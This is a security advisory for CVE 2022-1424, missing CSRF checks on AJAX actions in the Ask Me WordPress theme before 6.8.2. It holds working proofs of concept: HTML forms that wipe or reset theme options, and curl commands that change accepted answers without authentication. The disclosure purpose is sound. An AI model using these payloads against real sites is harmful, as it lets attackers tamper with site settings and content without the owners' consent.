Ask Me < 6.8.2 – Multiple CSRF in AJAX Actions | CVE 2022-1424

Description

The theme does not perform CSRF checks for any of its AJAX actions, allowing an attacker to trick logged in users to perform various actions on their behalf on the site.

Proof of Concept

Poc #1:
-----------

<!--
  Wipes the theme options by sending a payload with an invalid key
-->
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=askme_update_options" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="anything" value="any value" />
      <input type="submit" value="Save" />
    </form>
  </body>
</html>


Poc #2:
-----------

<!--
  Resets theme options to default
-->
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=askme_reset_options" method="POST">
      <input type="submit" value="Save">
    </form>
  </body>
</html>

Poc 3:
---------

# Unauthenticated request to select/change the accepted answer for a question.
# The `comment_id` is found trivially on the page.
#
curl -F comment_id=11 'https://example.com/wp-admin/admin-ajax.php?action=best_answer'

Poc 4:
---------

# Unauthenticated request to unflag a comment as accepted answer.
# The `comment_id` is trivially found on the page.
#
curl -F comment_id=11 'https://example.com/wp-admin/admin-ajax.php?action=best_answer_re'